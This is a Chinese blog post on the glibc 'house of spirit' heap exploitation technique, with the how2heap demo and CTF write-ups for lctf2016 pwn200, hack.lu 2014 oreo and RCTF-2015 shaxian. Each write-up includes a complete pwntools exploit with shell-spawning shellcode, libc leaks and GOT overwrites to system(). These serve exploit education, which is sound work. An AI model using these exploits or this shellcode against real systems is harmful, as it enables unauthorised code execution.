avatar

house of spirit

house of spirit

知识背景

  • fastbin的回收机制
  • first fit 原则

How2Heap-house_of_spirit.c

#include <stdio.h>
#include <stdlib.h>

int main()
{
malloc(1);
unsigned long long *a;
unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

fprintf(stderr, "该区域有 (memory of length: %lu) 两个 chunk. 第一个在 %p , 第二个 %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

fprintf(stderr, "该区域的这个chunk.size 必须比该区域大16(去容纳chunk中的数据) 虽然仍然属于fastbin类别 (<= 128 on x64). PREV_INUSE (lsb) 域因为被free进了fastbin所以被忽略了, 但是,IS_MMAPPED(第二个lsb)和NON_MAIN_ARENA(第三个lsb)位会引起问题。\n");
fprintf(stderr, "... 请注意,这必须是下一个malloc请求的大小,四舍五入到malloc实现使用的内部大小。 例如。 在x64上,0x30-0x38都将四舍五入为0x40,因此它们将在末尾适用于malloc参数(谷歌机翻). \n");
fake_chunks[1] = 0x40; // this is the size
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize

fprintf(stderr, "现在,我们将用伪造的第一个块内的伪造区域的地址覆盖指针, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... 注意,与这块chunk相对应的内存地址必须16字节对齐\n");
a = &fake_chunks[2];

fprintf(stderr, "Free 被覆写的指针.\n");
free(a);

fprintf(stderr, "现在再次malloc会返回我们伪造的fake_chunk的地址> %p, 会位于 %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

运行过后

运行.png

分析

这是一个作为攻击者的角度来看的,梳理一下我们发现了有这些特点

  • 有一个可以被控制的指针*a
  • 上可以伪造一个fake_chunk
  • 可以*a = fake_chunk,然后free(a)
  • 最终效果是在malloc了这块地址

在目标位置处伪造 fastbin chunk,并将其释放,从而达到分配指定地址的 chunk 的目的

检查

从源代码中就说明了

  • fake chunk 的 ISMMAP 位不能为1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

lctf2016_pwn200

保护检查

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

无保护

代码分析

sub_400A29()

4-1.png

sub_40096D()

4-2.png

通过 sub_400A29 来fake_chunk,然后 sub_40096D free(fake_chunk),然后再次malloc就是 malloc(&fake_chunk),从此实现了 house of spirit ,最终在新的chunk中,但是如何getshell?

sub_400A8E()

4-3.png

程序没有堆栈不可执行,所以可以填入 shellcode,最终再跳转到 &shellcode 执行

调试

泄露时刻的栈

泄露时刻的栈

泄露时刻的chunk

泄露时刻的chunk

fake chunk布局

sub_400A8E 中先调用了 sub_4007DF 在调用 sub_400A29,则说明两个函数的栈帧可能会临近,而且 sub_400A29 是由栈溢出漏洞的函数,从而可以通过栈溢出写入shellcode并且伪造chunk。

之后再 0x4007DF0x400A29 下断点我们发现:

两个断点.png

覆盖

sub_400A29 栈帧中的溢出可以覆盖掉 sub_400A8E 的栈帧,从而可以在栈上堆fake_chunk进行布局

strcpy()可能会破坏我们构造好的payload,但是strcpy()并不会复制"\x00",所以在shellcode最前面要加上"\x00",这样就只有溢出,没有复制

接下来我们面临两个问题

  • 1.shellcode的长度

    • 可以选择特定长度的shellcode搞定,比如常用的23位shellcode\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05在最前面加上\x00刚好24个字节
    shellcode = "\x00\x31\xf6\x48\xbb\x2f\x62\x69"
    shellcode += "\x6e\x2f\x2f\x73\x68\x56\x53\x54"
    shellcode += "\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  • 2.chunk的对齐

    • 可以这样设计1-5.png
    payload = (shellcode+p64(0)*2+p64(0x41)).ljust(0x38,'\x00')
  • 3.return address选取

    • 很明显,我们是想return到&shellcode,那么最近的话,就要改变$RBP-0x88的位置,但是我们只能填写0x40字节的信息,溢出也无法覆盖到ret
  • $RBP的地址-0x90刚好为strcpy()dest 的位置,那么我们可以修改全局指针 ptr 的值,free(fake_chunk)malloc()来拿到 $RBP-0x88的位置,从而在程序退出的时候转到&shellcode来执行shellcode

payload = payload+p64(reg_RBP-0x90)

伪造好的shellcode和fake_chunk

fake_chunk

free掉,再mallco回来后

free&malloc.png

覆盖ret addr

这个时候已经拿到$RBP-0x88的chunk了,输入新的payload来覆盖return_address,并且由于 $first\ fit$ 原则,我们要申请0x30大小的chunk才能拿回来

checkin(0x30,p64(0)*3+p64(reg_RBP - 0xc0 + 1))

overwrite.png

最后退出程序成功get shell

getshell.png

完整EXP

from pwn import *
elf = ELF("./pwn200")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def init(leak):
sh.sendafter("who are u?\n",leak)

def fake(payload):
sh.sendlineafter("give me your id ~~?","31")
sh.sendafter("give me money~",payload)

def checkin(idx,payload):
sh.sendlineafter("your choice : ","1")
sh.sendlineafter("how long?\n",str(idx))
sh.sendafter(str(idx)+'\n',payload)

def checkout():
sh.sendlineafter("your choice : ","2")

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("pwn200")
else:
sh = remote(ip,port)

#Step 1: leaking $RBP
gdb.attach(sh)
init('a'*0x30) #leak reg_RBP to caculate &shellcode
#start leaking
sh.recvuntil("a"*0x30)
reg_RBP = u64(sh.recv(6).ljust(8,"\x00"))
success("RBP register ===> "+hex(reg_RBP))

#Step 2: fake chunk
# "\x00" to cut off strcpy()
shellcode = "\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = (shellcode+p64(0)*2+p64(0x41)).ljust(0x38,'\x00')
payload = payload+p64(reg_RBP-0x90)
fake(payload)

checkout()
checkin(0x30,p64(0)*3+p64(reg_RBP - 0xc0 + 1))
# gdb.attach(sh)
sh.recv()
sh.sendline('3')
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","25309",0,0)

hack lu. 2014 oreo

保护检查

Arch:     i386-32-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

代码分析

sub_8048906可以看出几个地址的意思

Address.png

sub_8048644()

sub_8048644

sub_8048729()

sub_8048729

sub_8048810()

sub_8048810

sub_80487B4

unsigned int sub_80487B4()
{
unsigned int v0; // ST1C_4

v0 = __readgsdword(0x14u);
printf("Enter any notice you'd like to submit with your order: ");
fgets(msg_804A2A8, 128, stdin);
sub_80485EC(msg_804A2A8);
return __readgsdword(0x14u) ^ v0;
}

可以向 *0x804A2A8 = 804A2C0的位置写入message,那么我是否可以改写这个指针,然后任意地址写呢?

调试

思路

  • 堆溢出泄露free@got,进而推算libc_base
  • 0x804A2A8伪造chunk,释放后覆写指针地址为其他函数(这里用strlen)
  • 覆写got,待程序调用后getshell()

定义有如下操作

def add(name,desc):
sh.sendline("1")
sh.sendline(name)
sh.sendline(desc)

def showall():
sh.sendline("2")

def Clear():
sh.sendline("3")

def Message(msg):
sh.sendline("4")
sh.sendline(msg)

def showcurrent():
sh.sendline("5")

信息泄露

add("a","a")
Clear()
add("a"*(13*4-0x19)+p32(elf.got["free"]),"A"*0x19)
showall()

leak.png

伪造chunk-1

我们要覆写 0x804A2A8,那么 0x80Aa2A8- 4 = 0x80Aa2A4就是 fakechunk->size,我们可以通过不断申请chunk来增加这个size

我们想得到 0x41这个数 那么 0x41-2(目前已经有2了)-1(最后一个覆写v2=0x80Aa2A8) 个chunk就是我们要覆写的了

for i in range(0x41-3):
add("A"*(13*4-0x19)+p32(0),str(i))
add("a"*(13*4-0x19)+p32(0x804A2A8),"B"*0x18)

fakechunk

伪造chunk-2

size已经准备好了,要准备下nextchunk->prev_size才能骗过free(),恰好我们可以向0x804A2C0写入,那么就要写入 0x40-(0x804A2C0-0x804A2A8)=0x18个字节覆盖

payload = "C"*0x18
payload += p32(0)+"a"*4+p32(0x40)
Message(payload)

fakechunk-2

修改指针

add("test",p32(elf.got["strlen"]))

pointer

最后

最后我们在调用写入message的函数就可以直接将strlen@got改为_libc_system@plt,然后程序调用strlen时,我们传入参数/bin/sh就成功getshell

完整EXP

from pwn import *
elf = ELF("./oreo")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

def add(name,desc):
sh.sendline("1")
sh.sendline(name)
sh.sendline(desc)

def showall():
sh.sendline("2")

def Clear():
sh.sendline("3")

def Message(msg):
sh.sendline("4")
sh.sendline(msg)

def showcurrent():
sh.sendline("5")

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./oreo")
else:
sh = remote(ip,port)

#leak
add("a","a")
Clear()
add("a"*(13*4-0x19)+p32(elf.got["free"]),"A"*0x19)
showall()
sh.recvuntil('Description: ')
sh.recvuntil('Description: ')
libc_base = u32(sh.recv(4).ljust(4,'\x00'))-0x71530
system = libc_base+libc.sym["system"]
success("libc base --> "+hex(libc_base))
success("system --> "+hex(system))

#overwrite
for i in range(0x41-3):
add("A"*(13*4-0x19)+p32(0),str(i))
add("a"*(13*4-0x19)+p32(0x804A2A8),"B"*0x18)

payload = "C"*(0x20-0x4)
payload += "\x00"*4+"a"*4+p32(0x40)
Message(payload)
Clear()

add("test",p32(elf.got["strlen"]))
Message(p32(system)+';/bin/sh\x00')
sh.interactive()

if __name__ == '__main__':
main(0,0,0,0)

RCTF-2015-shaxian

保护检查

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

代码分析

sub_80487F7() > init

int sub_80487F7()
{
puts("Your Address:");
sub_804865D(0, (int)&unk_804B1E0, 256, 10);
puts("Your Phone number:");
sub_804865D(0, (int)&unk_804B0C0, 256, 10);
return puts("Thank you.");
}

主要记下这几个地址,后面可能会用到 addr_804B1E0 number_804B0C0

sub_80486CD() > GetNumber

主要是使用atoi将我们的输入变成数字

sub_80488AF() > order

sub_80488AF

同时我们知道了 ptr_804B1C0 count_804B2E0

sub_80489C0() > submit

sub_80489C0

sub_804886B() > taitou

int sub_804886B()
{
printf("Taitou:");
Read(0, (int)&unk_804B300, 256, 10);
return puts("Taitou saved");
}

记下了有 taitoi_804B300

sub_8048A20() > show

sub_8048A20

思路

操作用python描述就是

def init(addr,number):
sh.sendlineafter("Your Address:\n",addr)
sh.sendlineafter("Your Phone number:\n",number)

def order(text,number):
sh.sendlineafter("choose:","1")
sh.sendlineafter("5.Jianjiao",text)
sh.sendlineafter("How many?\n",str(number))

def delete():
sh.sendlineafter("choose:","2")

def title(text):
sh.sendlineafter("choose:","3")
sh.sendlineafter("Taitou:",text)

def show():
sh.sendlineafter("choose:","4")

我们有以下几个地址,从小到大是

number_804B0C0
ptr_804B1C0
addr_804B1E0
count_804B2E0
taitou_804B300
  • chunk 可以覆盖 记录上一个chunk的地址
  • 改变 ptr_804B1C0 可以通过order()修改 *ptr_804B1C0
  • submit() 几乎可以free任何地址
  • show()可以打印被覆盖的 v1[9]

1-number_804B0C0ptr_804B1C0前 伪造chunk,在修改chunk[9]将其改为fake_chunk,再用submit就可以修改ptr_804B1C0,但是因为submit()是一次性释放所有堆块,所以修改fd指针可能会好些

2- 修改chunk[9]再打印,泄露libc_base

3- order()一次,修改*ptr_804B1C0 为system

4-输入binsh来getshell

调试

1-伪造chunk

init("joe1sn","1"*(0x100-0x10)+p32(0x0)+p32(0x31))

因为order中是 malloc(0x28),所以伪造的大小是 0x31

fake_chunk

2- 修改chunk[9]再打印,泄露libc_base,同时修改fd

order("2"*0x10,1)
order("2"*0x10,2)
order("2"*0x10,3)
delete()
order("B"*0x20+p32(elf.got["puts"]-4)+p32(0)+p32(0x31)+p32(0x804B1C0-0x10),100)
show()
sh.recvuntil("100\n")
puts = u32(sh.recv(4))
libc = LibcSearcher("puts",puts)
libc_base = puts-libc.dump("puts")
system = libc_base + libc.dump("system")
[+] archive-old-glibc (id libc6-i386_2.21-0ubuntu4_amd64) be choosed.
[+] puts ==> 0xf7df7cb0
[+] libc base ==> 0xf7d96000
[+] _libc_system ==> 0xf7dd0cd0

leak.png

3- order()一次,修改*ptr_804B1C0 为system

order("fakefake",4)

这时

fd_edit

order("3333"+p32(elf.got["atoi"]),str(system- 0x100000000))

getshell

这是 atoi@got被我们修改为_libc_system,程序再次调用 atoi@got就是调用_libc_system

4-getshell

GetNumber()刚好使用了atoi

sh.sendline("/bin/sh\x00")
sh.interactive()

完整EXP

from pwn import *
from LibcSearcher import *
elf = ELF("RCTF-2015-shaxian")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
sh = 0

def init(addr,number):
sh.sendlineafter("Your Address:\n",addr)
sh.sendlineafter("Your Phone number:\n",number)

def order(text,number):
sh.sendlineafter("choose:","1")
sh.sendlineafter("5.Jianjiao",text)
sh.sendlineafter("How many?\n",str(number))

def delete():
sh.sendlineafter("choose:","2")

def title(text):
sh.sendlineafter("choose:","3")
sh.sendlineafter("Taitou:",text)

def show():
sh.sendlineafter("choose:","4")

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("RCTF-2015-shaxian")
else:
sh = remote(ip,port)

#leak
init("joe1sn","1"*(0x100-0x10)+p32(0x0)+p32(0x31))
order("2"*0x10,1)
order("2"*0x10,2)
order("2"*0x10,3)
delete()
order("B"*0x20+p32(elf.got["puts"]-4)+p32(0)+p32(0x31)+p32(0x804B1C0-0x10),100)
show()
gdb.attach(sh)
sh.recvuntil("100\n")
puts = u32(sh.recv(4))
libc = LibcSearcher("puts",puts)
libc_base = puts-libc.dump("puts")
system = libc_base + libc.dump("system")

success("puts ==> "+hex(puts))
success("libc base ==> "+hex(libc_base))
success("_libc_system ==> "+hex((system)))

#fake
order("fakefake",4)
order("3333"+p32(elf.got["atoi"]),str(system- 0x100000000))
sh.sendline("/bin/sh\x00")
sh.interactive()

if __name__ == '__main__':
main("220.249.52.133","47889",0,0)
Author: Joe1sn
Link: http://blog.joe1sn.top/2020/house_of_spirit/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信